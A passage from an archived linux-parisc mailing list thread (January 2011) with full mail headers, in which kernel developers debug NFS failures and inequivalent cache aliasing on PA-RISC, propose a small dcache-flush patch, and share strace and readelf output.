> > convincing proof that something is broken and the patch interacts
> > badly with our arch.
> > 
> > (c) Put printfs in the code to see where it's looping and under what
> > conditions.
> > 
> > Once you have a better grasp of the failure mode you can contact the
> > author of the patch and tell them about the breakage, CC
> > linux-parisc, and ask for help.
> > 
> > That would be me plan of attack.
> 
> Arm ran into this as well
> 
> http://marc.info/?t=129372938100002
> 
> It looks to be an inequivalent aliasing problem caused by  writes via
> the kernel direct mapping, and reads via vmalloc space.
> 
> James
> 
> 

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: NFS broken in latest 2.6.37-rcX
Date: Wed, 05 Jan 2011 12:47:26 -0600
Lines: 46
Approved: news@gmane.org
Message-ID: <1294253246.16957.7.camel@mulgrave.site>
References: <20101222223410.3a5f44c3@zombie>
	 <AANLkTinp3LaW_h91E+44=_-anambaJwja3BFCfG60fUz@mail.gmail.com>
	 <1294248961.15356.30.camel@mulgrave.site>
	 <20110105193105.0e3b0fec@borg.bxl.tuxicoman.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1294253267 13761 80.91.229.12 (5 Jan 2011 18:47:47 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 5 Jan 2011 18:47:47 +0000 (UTC)
Cc: Carlos O'Donell <carlos@systemhalted.org>,
	linux-parisc@vger.kernel.org
To: Guy Martin <gmsoft@tuxicoman.be>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jan 05 19:47:37 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PaYOR-0004oV-0U
	for glpp-linux-parisc@lo.gmane.org; Wed, 05 Jan 2011 19:47:31 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752250Ab1AESra (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 5 Jan 2011 13:47:30 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:49426 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751780Ab1AESr3 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 5 Jan 2011 13:47:29 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 692098EE10C;
	Wed,  5 Jan 2011 10:47:29 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id DemVkPPFN1uL; Wed,  5 Jan 2011 10:47:29 -0800 (PST)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id CE0DD8EE0DF;
	Wed,  5 Jan 2011 10:47:28 -0800 (PST)
In-Reply-To: <20110105193105.0e3b0fec@borg.bxl.tuxicoman.be>
X-Mailer: Evolution 2.30.1.2 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3322
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3322>

On Wed, 2011-01-05 at 19:31 +0100, Guy Martin wrote:
> James,
> 
> Thanks for pointing me to the thread.
> 
> I reached similar conclusion as well. After adding lots of printk, I
> could see that the page where the skb buff is copied is not or
> partially updated when being read by xdr_page_filler.

So does this fix it?

James

---

diff --git a/fs/nfs/dir.c b/fs/nfs/dir.c
index 996dd89..37d7347 100644
--- a/fs/nfs/dir.c
+++ b/fs/nfs/dir.c
@@ -1783,6 +1783,7 @@ static int nfs_symlink(struct inode *dir, struct dentry *dentry, const char *sym
 	memcpy(kaddr, symname, pathlen);
 	if (pathlen < PAGE_SIZE)
 		memset(kaddr + pathlen, 0, PAGE_SIZE - pathlen);
+	flush_kernel_dcache_page(page);
 	kunmap_atomic(kaddr, KM_USER0);
 
 	error = NFS_PROTO(dir)->symlink(dir, dentry, page, pathlen, &attr);
diff --git a/fs/nfs/nfs4proc.c b/fs/nfs/nfs4proc.c
index 4435e5e..9a6bfea 100644
--- a/fs/nfs/nfs4proc.c
+++ b/fs/nfs/nfs4proc.c
@@ -205,6 +205,7 @@ static void nfs4_setup_readdir(u64 cookie, __be32 *verifier, struct dentry *dent
 
 	readdir->pgbase = (char *)p - (char *)start;
 	readdir->count -= readdir->pgbase;
+	flush_kernel_dcache_page(*readdir->pages);
 	kunmap_atomic(start, KM_USER0);
 }
 


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc: flush pages through tmpalias space
Date: Wed, 5 Jan 2011 13:51:04 -0500
Organization: nrc.ca
Lines: 412
Approved: news@gmane.org
Message-ID: <20110105185104.GA7244@hiauly1.hia.nrc.ca>
References: <1293034931.3019.8.camel@mulgrave.site> <20101229042346.GA973@hiauly1.hia.nrc.ca> <1293634281.2803.4.camel@fuzzy> <20101230155640.GA7058@hiauly1.hia.nrc.ca> <20101230160944.GA7360@hiauly1.hia.nrc.ca> <20110101183108.GA19035@hiauly1.hia.nrc.ca> <20110105034922.GA4120@hiauly1.hia.nrc.ca> <AANLkTikC_1OGzzUkFpiCGx+F=29E9BZnyzU8xL0V-JU0@mail.gmail.com>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1294253476 14948 80.91.229.12 (5 Jan 2011 18:51:16 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 5 Jan 2011 18:51:16 +0000 (UTC)
Cc: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
	James Bottomley <James.Bottomley@hansenpartnership.com>,
	Parisc List <linux-parisc@vger.kernel.org>
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jan 05 19:51:10 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PaYRx-0006qx-4V
	for glpp-linux-parisc@lo.gmane.org; Wed, 05 Jan 2011 19:51:09 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751960Ab1AESvI convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 5 Jan 2011 13:51:08 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.10.84]:2500 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751780Ab1AESvH (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 5 Jan 2011 13:51:07 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 40F4C4DF2; Wed,  5 Jan 2011 13:51:05 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <AANLkTikC_1OGzzUkFpiCGx+F=29E9BZnyzU8xL0V-JU0@mail.gmail.com>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3323
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3323>

On Wed, 05 Jan 2011, Carlos O'Donell wrote:

> >> With the above, I get the following INEQUIVALENT ALIASES messages:
> >>
> >> Jan =A01 10:23:19 gsyprf11 kernel: [135942.140000] INEQUIVALENT AL=
IASES 0x406b1000 and 0x406b0000 in file libc-2.11.2.so
> >> Jan =A01 10:23:19 gsyprf11 kernel: [135942.224000] INEQUIVALENT AL=
IASES 0x406b1000 and 0x406b0000 in file libc-2.11.2.so
> >
> > This is what I see in the tasks maps file in /proc:
> >
> > 00010000-00011000 r-xp 00000000 08:30 6613687 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0/home2/dave/inequiv/xxx1
> > 00011000-00012000 rwxp 00000000 08:30 6613687 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0/home2/dave/inequiv/xxx1
> > 40000000-40005000 rw-p 00000000 00:00 0
> > 4002b000-4004b000 r-xp 00000000 08:03 2502157 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0/lib/ld-2.11.2.so
> > 4004b000-4004f000 rwxp 0001f000 08:03 2502157 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0/lib/ld-2.11.2.so
> > 4004f000-40050000 rwxp 00000000 00:00 0
> > 40138000-40291000 r-xp 00000000 08:03 2502172 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0/lib/libc-2.11.2.so
> > 40291000-40298000 rwxp 00158000 08:03 2502172 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0/lib/libc-2.11.2.so
> > 40298000-4029a000 rwxp 00000000 00:00 0
> > fe09b000-fe0be000 rwxp 00000000 00:00 0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0[stack]
> >
> > As can be seen, there are duplicate maps with different protections=
 for xxx1,
> > etc. =A0So, it's clear why we have the inequivalent aliases. =A0The=
 map can
> > be accessed by the application (probably just for lines in the cach=
e).
> > I have seen some discussions that even a read may lead to cache cor=
ruption.
> >
> > These inequivalent maps are coming from glibc:
> >
> > dave@gsyprf11:~/inequiv$ strace /lib/ld-2.11.2.so ./xxx1
> > execve("/lib/ld-2.11.2.so", ["/lib/ld-2.11.2.so", "./xxx1"], [/* 17=
 vars */]) =3D 0
> > brk(0) =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =
=A0 =A0=3D 0x4119a000
> > open("./xxx1", O_RDONLY) =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=3D 3
> > read(3, "\177ELF\1\2\1\3\0\0\0\0\0\0\0\0\0\2\0\17\0\0\0\1\0\1\3T\0\=
0\0004"..., 512) =3D 512
> > fstat64(3, {st_mode=3D0, st_size=3D4380866642020, ...}) =3D 0
> > getcwd("/home2/dave/inequiv", 128) =A0 =A0 =A0=3D 20
> > mmap(0x10000, 4096, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_=
DENYWRITE, 3, 0) =3D 0x10000
> > mmap(0x11000, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP=
_FIXED|MAP_DENYWRITE, 3, 0) =3D 0x11000
> > ...
> >
> > Carlos what do you think? =A0arch_get_unmapped_area() accepts MAP_F=
IXED
> > requests even if it would violate cache aliasing constraints. =A0I =
don't
> > understand the purpose of the region at 0x11000.
>=20
> I'm currently on the South Rim of the Grand Canyon with limited acces=
s
> to my systems. I'll be back in touch near the end of January and look
> into this.

Nice!

> What does the application look like e.g. readelf -a?

See below.

> The 0x11000 region looks like .data?

Yes.  However, the 0x11000 region also maps to the same physical
address as the region at 0x10000.  Thus, the inequivalent mapping.
The data starts at 0x11890.  It appears the linker has rounded up
the start of the data by 4KB (one page).

Maybe the fix is to round up the start of the data to the next 4GB
boundary in the linker.  This would make the alias boundaries
equivalent.

Dave
--=20
J. David Anglin                                  dave.anglin@nrc-cnrc.g=
c.ca
National Research Council of Canada              (613) 990-0752 (FAX: 9=
52-6602)

ELF Header:
  Magic:   7f 45 4c 46 01 02 01 03 00 00 00 00 00 00 00 00=20
  Class:                             ELF32
  Data:                              2's complement, big endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - Linux
  ABI Version:                       0
  Type:                              EXEC (Executable file)
  Machine:                           HPPA
  Version:                           0x1
  Entry point address:               0x10354
  Start of program headers:          52 (bytes into file)
  Start of section headers:          2884 (bytes into file)
  Flags:                             0x210, PA-RISC 1.1
  Size of this header:               52 (bytes)
  Size of program headers:           32 (bytes)
  Number of program headers:         7
  Size of section headers:           40 (bytes)
  Number of section headers:         31
  Section header string table index: 28

Section Headers:
  [Nr] Name              Type            Addr     Off    Size   ES Flg =
Lk Inf Al
  [ 0]                   NULL            00000000 000000 000000 00     =
 0   0  0
  [ 1] .interp           PROGBITS        00010114 000114 00000d 00   A =
 0   0  1
  [ 2] .note.ABI-tag     NOTE            00010124 000124 000020 00   A =
 0   0  4
  [ 3] .note.gnu.build-i NOTE            00010144 000144 000000 00   A =
 0   0  4
  [ 4] .hash             HASH            00010144 000144 000034 04   A =
 5   0  4
  [ 5] .dynsym           DYNSYM          00010178 000178 000080 10   A =
 6   1  4
  [ 6] .dynstr           STRTAB          000101f8 0001f8 000080 00   A =
 0   0  1
  [ 7] .gnu.version      VERSYM          00010278 000278 000010 02   A =
 5   0  2
  [ 8] .gnu.version_r    VERNEED         00010288 000288 000020 00   A =
 6   1  4
  [ 9] .rela.dyn         RELA            000102a8 0002a8 00000c 0c   A =
 5   0  4
  [10] .rela.plt         RELA            000102b4 0002b4 000048 0c   A =
 5  23  4
  [11] .init             PROGBITS        000102fc 0002fc 000048 00  AX =
 0   0  4
  [12] .text             PROGBITS        00010344 000344 0003e4 00  AX =
 0   0  4
  [13] .fini             PROGBITS        00010728 000728 000028 00  AX =
 0   0  4
  [14] .rodata           PROGBITS        00010750 000750 000018 00   A =
 0   0  4
  [15] .PARISC.unwind    PROGBITS        00010768 000768 0000e0 04   A =
 0  12  4
  [16] .eh_frame_hdr     PROGBITS        00010848 000848 000014 00   A =
 0   0  4
  [17] .eh_frame         PROGBITS        0001085c 00085c 000034 00   A =
 0   0  4
  [18] .ctors            PROGBITS        00011890 000890 000008 00  WA =
 0   0  4
  [19] .dtors            PROGBITS        00011898 000898 000008 00  WA =
 0   0  4
  [20] .jcr              PROGBITS        000118a0 0008a0 000004 00  WA =
 0   0  4
  [21] .dynamic          DYNAMIC         000118a4 0008a4 0000c8 08  WA =
 6   0  4
  [22] .data             PROGBITS        0001196c 00096c 000008 00  WA =
 0   0  4
  [23] .plt              PROGBITS        00011974 000974 00004c 08 WAX =
 0   0  4
  [24] .got              PROGBITS        000119c0 0009c0 00001c 04  WA =
 0   0  4
  [25] .bss              NOBITS          000119dc 0009dc 000014 00  WA =
 0   0  4
  [26] .note             NOTE            00000000 0009dc 000028 00     =
 0   0  1
  [27] .comment          PROGBITS        00000000 000a04 000038 01  MS =
 0   0  1
  [28] .shstrtab         STRTAB          00000000 000a3c 000106 00     =
 0   0  1
  [29] .symtab           SYMTAB          00000000 00101c 0004c0 10     =
30  56  4
  [30] .strtab           STRTAB          00000000 0014dc 0002b1 00     =
 0   0  1
Key to Flags:
  W (write), A (alloc), X (execute), M (merge), S (strings)
  I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown=
)
  O (extra OS processing required) o (OS specific), p (processor specif=
ic)

There are no section groups in this file.

Program Headers:
  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Ali=
gn
  PHDR           0x000034 0x00010034 0x00010034 0x000e0 0x000e0 R E 0x4
  INTERP         0x000114 0x00010114 0x00010114 0x0000d 0x0000d R   0x1
      [Requesting program interpreter: /lib/ld.so.1]
  LOAD           0x000000 0x00010000 0x00010000 0x00890 0x00890 R E 0x1=
000
  LOAD           0x000890 0x00011890 0x00011890 0x0014c 0x00160 RWE 0x1=
000
  DYNAMIC        0x0008a4 0x000118a4 0x000118a4 0x000c8 0x000c8 RW  0x4
  NOTE           0x000124 0x00010124 0x00010124 0x00020 0x00020 R   0x4
  GNU_EH_FRAME   0x000848 0x00010848 0x00010848 0x00014 0x00014 R   0x4

 Section to Segment mapping:
  Segment Sections...
   00    =20
   01     .interp=20
   02     .interp .note.ABI-tag .note.gnu.build-id .hash .dynsym .dynst=
r .gnu.version .gnu.version_r .rela.dyn .rela.plt .init .text .fini .ro=
data .PARISC.unwind .eh_frame_hdr .eh_frame=20
   03     .ctors .dtors .jcr .dynamic .data .plt .got .bss=20
   04     .dynamic=20
   05     .note.ABI-tag=20
   06     .eh_frame_hdr=20

Dynamic section at offset 0x8a4 contains 20 entries:
  Tag        Type                         Name/Value
 0x00000001 (NEEDED)                     Shared library: [libc.so.6]
 0x0000000c (INIT)                       0x1030c
 0x0000000d (FINI)                       0x10728
 0x00000004 (HASH)                       0x10144
 0x00000005 (STRTAB)                     0x101f8
 0x00000006 (SYMTAB)                     0x10178
 0x0000000a (STRSZ)                      128 (bytes)
 0x0000000b (SYMENT)                     16 (bytes)
 0x00000003 (PLTGOT)                     0x1196c
 0x00000015 (DEBUG)                      0x0
 0x00000002 (PLTRELSZ)                   72 (bytes)
 0x00000014 (PLTREL)                     RELA
 0x00000017 (JMPREL)                     0x102b4
 0x00000007 (RELA)                       0x102a8
 0x00000008 (RELASZ)                     12 (bytes)
 0x00000009 (RELAENT)                    12 (bytes)
 0x6ffffffe (VERNEED)                    0x10288
 0x6fffffff (VERNEEDNUM)                 1
 0x6ffffff0 (VERSYM)                     0x10278
 0x00000000 (NULL)                       0x0

Relocation section '.rela.dyn' at offset 0x2a8 contains 1 entries:
 Offset     Info    Type            Sym.Value  Sym. Name + Addend
000119d0  00000401 R_PARISC_DIR32    000119c0   _GLOBAL_OFFSET_TABLE_ +=
 0

Relocation section '.rela.plt' at offset 0x2b4 contains 6 entries:
 Offset     Info    Type            Sym.Value  Sym. Name + Addend
00011974  00000181 R_PARISC_IPLT     000105ec   __libc_csu_fini + 0
0001197c  00000281 R_PARISC_IPLT     00010724   __gmon_start__ + 0
00011984  00000381 R_PARISC_IPLT     00000000   _Jv_RegisterClasses + 0
0001198c  00000581 R_PARISC_IPLT     000105f0   __libc_csu_init + 0
00011994  00000681 R_PARISC_IPLT     00000000   __libc_start_main + 0
0001199c  00000781 R_PARISC_IPLT     000104a0   main + 0

Unwind section '.PARISC.unwind' at offset 0x768 contains 14 entries:

<_init>: [0x1030c-0x10340]
	Entry_GR=3D1 Save_RP Total_frame_size=3D8=20
<__do_global_dtors_aux>: [0x103a8-0x10438]
	Entry_GR=3D4 Save_RP Total_frame_size=3D8=20
<call___do_global_dtors_aux>: [0x1043c-0x1044c]
	Save_RP Total_frame_size=3D8=20
<frame_dummy>: [0x10450-0x10488]
	Save_RP Total_frame_size=3D8=20
<call_frame_dummy>: [0x1048c-0x1049c]
	Save_RP Total_frame_size=3D8=20
<main>: [0x104a0-0x104bc]
	Entry_GR=3D1 Save_SP Total_frame_size=3D8=20
<main+20>: [0x104c0-0x104d4]
	Millicode=20
<__canonicalize_funcptr_for_compare>: [0x104d8-0x105e8]
	Entry_GR=3D2 Save_RP Total_frame_size=3D8=20
<__libc_csu_fini>: [0x105ec-0x105ec]
=09
<__libc_csu_init>: [0x105f0-0x10694]
	Entry_GR=3D7 Save_RP Total_frame_size=3D16=20
<__do_global_ctors_aux>: [0x10698-0x1070c]
	Entry_GR=3D3 Save_RP Total_frame_size=3D16=20
<call___do_global_ctors_aux>: [0x10710-0x10720]
	Save_RP Total_frame_size=3D8=20
<__gmon_start__>: [0x10724-0x10724]
=09
<_fini>: [0x10728-0x1074c]
	Entry_GR=3D1 Save_RP Total_frame_size=3D8=20

Symbol table '.dynsym' contains 8 entries:
   Num:    Value  Size Type    Bind   Vis      Ndx Name
     0: 00000000     0 NOTYPE  LOCAL  DEFAULT  UND=20
     1: 000105ec     4 FUNC    GLOBAL DEFAULT   12 __libc_csu_fini
     2: 00010724     4 FUNC    WEAK   DEFAULT   12 __gmon_start__
     3: 00000000     0 NOTYPE  WEAK   DEFAULT  UND _Jv_RegisterClasses
     4: 000119c0     0 OBJECT  GLOBAL DEFAULT  ABS _GLOBAL_OFFSET_TABLE=
_
     5: 000105f0   168 FUNC    GLOBAL DEFAULT   12 __libc_csu_init
     6: 00000000     0 FUNC    GLOBAL DEFAULT  UND __libc_start_main@GL=
IBC_2.2 (2)
     7: 000104a0    32 FUNC    GLOBAL DEFAULT   12 main

Symbol table '.symtab' contains 76 entries:
   Num:    Value  Size Type    Bind   Vis      Ndx Name
     0: 00000000     0 NOTYPE  LOCAL  DEFAULT  UND=20
     1: 00010114     0 SECTION LOCAL  DEFAULT    1=20
     2: 00010124     0 SECTION LOCAL  DEFAULT    2=20
     3: 00010144     0 SECTION LOCAL  DEFAULT    3=20
     4: 00010144     0 SECTION LOCAL  DEFAULT    4=20
     5: 00010178     0 SECTION LOCAL  DEFAULT    5=20
     6: 000101f8     0 SECTION LOCAL  DEFAULT    6=20
     7: 00010278     0 SECTION LOCAL  DEFAULT    7=20
     8: 00010288     0 SECTION LOCAL  DEFAULT    8=20
     9: 000102a8     0 SECTION LOCAL  DEFAULT    9=20
    10: 000102b4     0 SECTION LOCAL  DEFAULT   10=20
    11: 000102fc     0 SECTION LOCAL  DEFAULT   11=20
    12: 00010344     0 SECTION LOCAL  DEFAULT   12=20
    13: 00010728     0 SECTION LOCAL  DEFAULT   13=20
    14: 00010750     0 SECTION LOCAL  DEFAULT   14=20
    15: 00010768     0 SECTION LOCAL  DEFAULT   15=20
    16: 00010848     0 SECTION LOCAL  DEFAULT   16=20
    17: 0001085c     0 SECTION LOCAL  DEFAULT   17=20
    18: 00011890     0 SECTION LOCAL  DEFAULT   18=20
    19: 00011898     0 SECTION LOCAL  DEFAULT   19=20
    20: 000118a0     0 SECTION LOCAL  DEFAULT   20=20
    21: 000118a4     0 SECTION LOCAL  DEFAULT   21=20
    22: 0001196c     0 SECTION LOCAL  DEFAULT   22=20
    23: 00011974     0 SECTION LOCAL  DEFAULT   23=20
    24: 000119c0     0 SECTION LOCAL  DEFAULT   24=20
    25: 000119dc     0 SECTION LOCAL  DEFAULT   25=20
    26: 00000000     0 SECTION LOCAL  DEFAULT   26=20
    27: 00000000     0 SECTION LOCAL  DEFAULT   27=20
    28: 00010750     0 NOTYPE  LOCAL  DEFAULT   14 .Lpmain
    29: 0001075c     0 NOTYPE  LOCAL  DEFAULT   14 .Lp__libc_csu_init
    30: 00010758     0 NOTYPE  LOCAL  DEFAULT   14 .Lp__libc_csu_fini
    31: 00011890     0 OBJECT  LOCAL  DEFAULT   18 __CTOR_LIST__
    32: 00011898     0 OBJECT  LOCAL  DEFAULT   19 __DTOR_LIST__
    33: 000118a0     0 OBJECT  LOCAL  DEFAULT   20 __JCR_LIST__
    34: 000103a8   148 FUNC    LOCAL  DEFAULT   12 __do_global_dtors_au=
x
    35: 000119dc     1 OBJECT  LOCAL  DEFAULT   25 completed.5625
    36: 000119e0     4 OBJECT  LOCAL  DEFAULT   25 dtor_idx.5627
    37: 0001043c    20 FUNC    LOCAL  DEFAULT   12 call___do_global_dto=
rs_au
    38: 00010450    60 FUNC    LOCAL  DEFAULT   12 frame_dummy
    39: 0001048c    20 FUNC    LOCAL  DEFAULT   12 call_frame_dummy
    40: 00011894     0 OBJECT  LOCAL  DEFAULT   18 __CTOR_END__
    41: 0001088c     0 OBJECT  LOCAL  DEFAULT   17 __FRAME_END__
    42: 000118a0     0 OBJECT  LOCAL  DEFAULT   20 __JCR_END__
    43: 00010698   120 FUNC    LOCAL  DEFAULT   12 __do_global_ctors_au=
x
    44: 00010710    20 FUNC    LOCAL  DEFAULT   12 call___do_global_cto=
rs_au
    45: 00010340     0 NOTYPE  LOCAL  DEFAULT   11 _end_init
    46: 0001074c     0 NOTYPE  LOCAL  DEFAULT   13 _end_fini
    47: ffffffec     0 NOTYPE  LOCAL  DEFAULT  ABS r31_slot
    48: fffffff0     0 NOTYPE  LOCAL  DEFAULT  ABS sr0_slot
    49: ffffffec     0 NOTYPE  LOCAL  DEFAULT  ABS mrp_slot
    50: 000119e4     4 OBJECT  LOCAL  DEFAULT   25 fixup.1200
    51: 000119e8     8 OBJECT  LOCAL  DEFAULT   25 fixup_plabel.1199
    52: 00011890     0 NOTYPE  LOCAL  DEFAULT   18 __init_array_end
    53: 000104c0    24 PARISC_MILLI LOCAL  DEFAULT   12 $$dyncall
    54: 00011890     0 NOTYPE  LOCAL  DEFAULT   18 __init_array_start
    55: 000118a4     0 OBJECT  LOCAL  DEFAULT   21 _DYNAMIC
    56: 0001196c     0 NOTYPE  WEAK   DEFAULT   22 data_start
    57: 000105ec     4 FUNC    GLOBAL DEFAULT   12 __libc_csu_fini
    58: 00010354    80 FUNC    GLOBAL DEFAULT   12 _start
    59: 00010724     4 FUNC    WEAK   DEFAULT   12 __gmon_start__
    60: 00000000     0 NOTYPE  WEAK   DEFAULT  UND _Jv_RegisterClasses
    61: 00010728     0 FUNC    GLOBAL DEFAULT   13 _fini
    62: 000119c0     0 OBJECT  GLOBAL DEFAULT  ABS _GLOBAL_OFFSET_TABLE=
_
    63: 00010760     4 OBJECT  GLOBAL DEFAULT   14 _IO_stdin_used
    64: 0001196c     0 NOTYPE  GLOBAL DEFAULT   22 __data_start
    65: 0001196c     0 OBJECT  GLOBAL DEFAULT   22 $global$
    66: 00011970     0 OBJECT  GLOBAL HIDDEN    22 __dso_handle
    67: 0001189c     0 OBJECT  GLOBAL HIDDEN    19 __DTOR_END__
    68: 000105f0   168 FUNC    GLOBAL DEFAULT   12 __libc_csu_init
    69: 000119dc     0 NOTYPE  GLOBAL DEFAULT  ABS __bss_start
    70: 000104d8   276 FUNC    GLOBAL HIDDEN    12 __canonicalize_funcp=
tr_fo
    71: 00000000     0 FUNC    GLOBAL DEFAULT  UND __libc_start_main@@G=
LIBC_
    72: 000119f0     0 NOTYPE  GLOBAL DEFAULT  ABS _end
    73: 000119dc     0 NOTYPE  GLOBAL DEFAULT  ABS _edata
    74: 000104a0    32 FUNC    GLOBAL DEFAULT   12 main
    75: 0001030c     0 FUNC    GLOBAL DEFAULT   11 _init

Histogram for bucket list length (total of 3 buckets):
 Length  Number     % of total  Coverage
      0  0          (  0.0%)
      1  1          ( 33.3%)     14.3%
      2  0          (  0.0%)     14.3%
      3  2          ( 66.7%)    100.0%

Version symbols section '.gnu.version' contains 8 entries:
 Addr: 0000000000010278  Offset: 0x000278  Link: 5 (.dynsym)
  000:   0 (*local*)       1 (*global*)      1 (*global*)      0 (*loca=
l*)   =20
  004:   1 (*global*)      1 (*global*)      2 (GLIBC_2.2)     1 (*glob=
al*)  =20

Version needs section '.gnu.version_r' contains 1 entries:
 Addr: 0x0000000000010288  Offset: 0x000288  Link: 6 (.dynstr)
  000000: Version: 1  File: libc.so.6  Cnt: 1
  0x0010:   Name: GLIBC_2.2  Flags: none  Version: 2

Notes at offset 0x00000124 with length 0x00000020:
  Owner		Data size	Description
  GNU		0x00000010	NT_GNU_ABI_TAG (ABI version tag)

Notes at offset 0x000009dc with length 0x00000028:
  Owner		Data size	Description
  01.01		0x00000000	NT_VERSION (version)
  01.01		0x00000000	NT_VERSION (version)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.nfs,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc
Subject: Re: still nfs problems [Was: Linux 2.6.37-rc8]
Date: Wed, 05 Jan 2011 13:05:36 -0600
Lines: 64
Approved: news@gmane.org
Message-ID: <1294254337.16957.13.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1294254351 19473 80.91.229.12 (5 Jan 2011 19:05:51 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 5 Jan 2011 19:05:51 +0000 (UTC)
Cc: Trond Myklebust <Trond.Myklebust@netapp.com>,
	linux-nfs@vger.kernel.org, linux-kernel@vger.kernel.org,
	Marc Kleine-Budde <mkl@pengutronix.de>,
